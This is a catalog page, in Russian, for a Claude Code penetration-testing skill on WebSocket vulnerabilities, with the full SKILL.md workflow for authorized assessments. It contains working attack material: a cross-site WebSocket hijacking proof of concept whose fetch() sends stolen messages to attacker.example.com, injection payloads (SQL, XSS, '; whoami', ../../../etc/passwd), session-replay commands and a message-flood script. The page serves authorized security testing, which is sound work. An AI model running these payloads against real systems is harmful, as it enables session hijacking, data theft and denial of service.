К основному содержанию
скилл CX Codex

exploiting-websocket-vulnerabilities — скилл для Claude Code

Скилл exploiting-websocket-vulnerabilities для Claude Code проверяет WebSocket на обход аутентификации, межсайтовые атаки, инъекции и ошибки обработки сообщений. Он включается при авторизованной оценке безопасности приложений с WebSocket.

Apache-2.0 316 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities -a claude-code
Открыть на GitHub

Что делает exploiting-websocket-vulnerabilities

Скилл помогает искать уязвимости в WebSocket-соединениях: проверяет аутентификацию и валидацию источника, а также сообщения на инъекции и ошибки контроля доступа. В описанном процессе используются Burp Suite Professional, инструменты разработчика браузера, websocat, wscat и Python-библиотека websockets.

Работа начинается с поиска WebSocket-точек, затем проверяются подключение без действительных учётных данных и атаки через чужой сайт. Для тестирования нужен письменный договор на проведение проверки; без разрешения тестировать приложение нельзя.

Какие задачи решает

  • найти WebSocket-точки приложения
  • проверить обход аутентификации WebSocket
  • выявить межсайтовый захват WebSocket-соединения
  • проверить сообщения на инъекции и нарушения контроля доступа

Примеры запросов агенту

  • Проведи авторизованную проверку WebSocket-точек приложения на ошибки аутентификации.
  • Проверь WebSocket-соединение на межсайтовый захват через подмену Origin.
  • Оцени обработку WebSocket-сообщений на инъекции и доступ к чужим данным.

Как установить exploiting-websocket-vulnerabilities

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities -a claude-code

2Вручную: положить файлы

~/.claude/skills/exploiting-websocket-vulnerabilities/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/exploiting-websocket-vulnerabilities/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы об exploiting-websocket-vulnerabilities

Как установить exploiting-websocket-vulnerabilities в Claude Code?

Выполни npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilities -a claude-code. Файл скилла появится по пути ~/.claude/skills/exploiting-websocket-vulnerabilities/SKILL.md.

Что делает exploiting-websocket-vulnerabilities?

Помогает проверять WebSocket на проблемы аутентификации, межсайтовые атаки, инъекции и ошибки обработки сообщений при авторизованной оценке безопасности.

Что нужно для работы exploiting-websocket-vulnerabilities?

Нужен письменный договор, разрешающий тестирование WebSocket. В процессе также используются Burp Suite Professional, инструменты разработчика браузера, websocat, wscat и Python-библиотека websockets.

Исходный текст

SKILL.md · Apache-2.0
---
name: exploiting-websocket-vulnerabilities
description: Testing WebSocket implementations for authentication bypass, cross-site
  hijacking, injection attacks, and insecure message handling during authorized security
  assessments.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- websocket
- web-security
- owasp
- real-time
- burpsuite
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
---

# Exploiting WebSocket Vulnerabilities

## When to Use

- During authorized penetration tests when the application uses WebSocket connections for real-time features
- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
- For testing WebSocket API endpoints for authentication and authorization flaws
- When evaluating real-time data streams for injection vulnerabilities
- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs

## Prerequisites

- **Authorization**: Written penetration testing agreement covering WebSocket testing
- **Burp Suite Professional**: With WebSocket interception capability
- **Browser DevTools**: Network tab for WebSocket frame inspection
- **websocat**: Command-line WebSocket client (`cargo install websocat`)
- **wscat**: Node.js WebSocket client (`npm install -g wscat`)
- **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)

## Workflow

### Step 1: Discover and Enumerate WebSocket Endpoints

Identify WebSocket connections in the application.

```bash
# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames
```

### Step 2: Test WebSocket Authentication

Verify that WebSocket connections require proper authentication.

```bash
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF
```

### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)

Check if the WebSocket handshake is vulnerable to cross-site attacks.

```bash
# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
```

```html
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket
  ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
  ws.send(JSON.stringify({type: "get_profile"}));
};

ws.onmessage = function(event) {
  console.log("Data stolen: " + event.data);
  document.getElementById("messages").innerText += event.data + "\n";

  // Exfiltrate to attacker server
  fetch("https://attacker.example.com/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onerror = function(error) {
  console.log("WebSocket error: " + error);
};
</script>
</body>
</html>
```

### Step 4: Test WebSocket Message Injection

Assess WebSocket messages for injection vulnerabilities.

```bash
# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_token"

# Once connected, send test messages:

# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}

# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}

# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}

# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}

# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2}  (another user's channel)

# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json

PAYLOADS = [
    {"action": "search", "query": "' OR 1=1--"},
    {"action": "search", "query": "<script>alert(1)</script>"},
    {"action": "search", "query": "{{7*7}}"},
    {"action": "search", "query": "${7*7}"},
    {"action": "read", "file": "../../../etc/passwd"},
    {"action": "exec", "cmd": "; whoami"},
]

async def test_injections():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        for payload in PAYLOADS:
            await ws.send(json.dumps(payload))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Payload: {json.dumps(payload)}")
                print(f"Response: {response}\n")
            except asyncio.TimeoutError:
                print(f"Timeout for: {json.dumps(payload)}\n")

asyncio.run(test_injections())
PYEOF
```

### Step 5: Test WebSocket Authorization and Rate Limiting

Check if message-level authorization and abuse controls are enforced.

```bash
# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json

async def test_authz():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=user_a_session"}
    ) as ws:
        # Try accessing User B's private data
        messages = [
            {"type": "subscribe", "channel": "user_b_private"},
            {"type": "get_history", "user_id": "user_b_id"},
            {"type": "admin_action", "action": "list_users"},
            {"type": "send_message", "to": "admin", "as": "admin"},
        ]
        for msg in messages:
            await ws.send(json.dumps(msg))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Sent: {json.dumps(msg)}")
                print(f"Received: {response}\n")
            except asyncio.TimeoutError:
                print(f"No response for: {json.dumps(msg)}\n")

asyncio.run(test_authz())
PYEOF

# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time

async def test_rate_limit():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        start = time.time()
        for i in range(1000):
            await ws.send(json.dumps({
                "type": "message",
                "content": f"Flood message {i}"
            }))
        elapsed = time.time() - start
        print(f"Sent 1000 messages in {elapsed:.2f} seconds")
        print("If no rate limiting, DoS is possible")

asyncio.run(test_rate_limit())
PYEOF
```

### Step 6: Test WebSocket Encryption and Protocol Security

Verify transport security and protocol-level protections.

```bash
# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers

# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)

# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
  -H "Sec-WebSocket-Protocol: admin-protocol"

# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Extensions: permessage-deflate" \
  "https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression

# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limits
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **WebSocket Handshake** | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |
| **CSWSH** | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |
| **Origin Validation** | Server-side check that the WebSocket upgrade request comes from a trusted origin |
| **Message-level Authorization** | Verifying permissions for each WebSocket message, not just at connection time |
| **WSS** | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |
| **Socket.IO** | Popular WebSocket library with automatic fallback to HTTP long-polling |
| **Ping/Pong Frames** | WebSocket keepalive mechanism; can be abused for timing attacks |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | WebSocket interception, modification, and history analysis |
| **wscat** | Command-line WebSocket client for manual testing |
| **websocat** | Versatile command-line WebSocket client written in Rust |
| **Browser DevTools** | Network tab WS filter for inspecting WebSocket frames |
| **Socket.IO Client** | Testing Socket.IO-based WebSocket implementations |
| **Python websockets** | Scripting automated WebSocket attack sequences |

## Common Scenarios

### Scenario 1: Chat Application CSWSH
A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.

### Scenario 2: Trading Platform Message Injection
A trading platform processes WebSocket messages containing order parameters. SQL injection in the `symbol` field of an order message allows extracting the entire order database through error-based SQLi.

### Scenario 3: Missing Message Authorization
A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.

### Scenario 4: Notification Channel IDOR
A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.

## Output Format

```
## WebSocket Security Assessment Report

**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control

### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |

### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |

### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)

### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
websocket-engineer https://github.com/Jeffallan Скилл websocket-engineer помогает проектировать WebSocket- и Socket.IO-системы: сообщения, комнаты, presence и масштабирование через Redis. CX Codex +1 7 300установок top-web-vulnerabilities zebbern Скилл top-web-vulnerabilities для Claude Code загружает структурированный справочник по 100 веб-уязвимостям, сгруппированным в 15 категорий. CX Codex +1 1 019установок websocket-development Mindrally Скилл websocket-development для Claude Code задаёт агенту правила для разработки серверов и клиентов на WebSocket: соединения, сообщения, масштабирование и безопасность. CX Codex +1 873установок websocket-implementation aj-geddes Скилл websocket-implementation для Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI и OpenCode: подсказывает ИИ-агенту, как строить WebSocket-системы — от подключения до масштабирования через Redis. CX Codex +1 669установок hunt-websocket Sachin Sharma Скилл hunt-websocket ищет уязвимости в WebSocket: CSWSH, слабую проверку Origin, отсутствие аутентификации сообщений, подмену фреймов и обход авторизации в socket.io. CX Codex +1 ★ 16 193звёзд репо web-pentest hassan-algo Скилл web-pentest для Claude Code ведёт авторизованное тестирование веб-приложений от разведки до отчёта. Он подключается к запросам о проверке уязвимостей и разборе результатов. CX Codex +1 ★ 106звёзд репо

Из того же набора152

Весь набор →
building-incident-response-playbook Скилл building-incident-response-playbook создаёт структурированные плейбуки реагирования на инциденты по стандартам NIST SP 800-61r3 и SANS PICERL. Помогает подготовить регламенты и правила для платформ SOAR. CX Codex +1 324установок analyzing-ransomware-network-indicators Скилл analyzing-ransomware-network-indicators разбирает Zeek conn.log и NetFlow: ищет периодические обращения к C2, связи с TOR-узлами и крупные исходящие потоки. CX Codex +1 324установок analyzing-threat-actor-ttps-with-mitre-attack Скилл analyzing-threat-actor-ttps-with-mitre-attack сопоставляет поведение группировок и IOC с MITRE ATT&CK, строит слои ATT&CK Navigator и помогает найти пробелы в обнаружении. CX Codex +1 323установок abusing-shadow-credentials-for-privesc Скилл abusing-shadow-credentials-for-privesc для Claude Code и других агентов, автоматизирующий захват учётных записей Active Directory через Shadow Credentials. CX Codex +1 322установок analyzing-packed-malware-with-upx-unpacker Скилл analyzing-packed-malware-with-upx-unpacker помогает распаковать замаскированный UPX-образец и вернуть оригинальный исполняемый файл для статического анализа. CX Codex +1 316установок conducting-mobile-app-penetration-test Скилл conducting-mobile-app-penetration-test помогает проверять безопасность iOS- и Android-приложений: анализировать бинарники, сетевой трафик, хранение данных и аутентификацию. Используйте его для авторизованного тестирования. CX Codex +1 315установок analyzing-outlook-pst-for-email-forensics Скилл analyzing-outlook-pst-for-email-forensics для Claude Code разбирает PST и OST Outlook, извлекая письма, заголовки, вложения и удалённые элементы. Выполняет почтовую криминалистику и помогает реагировать на инциденты. CX Codex +1 315установок analyzing-ransomware-leak-site-intelligence Скилл analyzing-ransomware-leak-site-intelligence собирает структурированные данные с сайтов утечек вымогателей (DLS) и оценивает риски атак по секторам. Пригодится SOC-аналитикам для разведки угроз. CX Codex +1 313установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой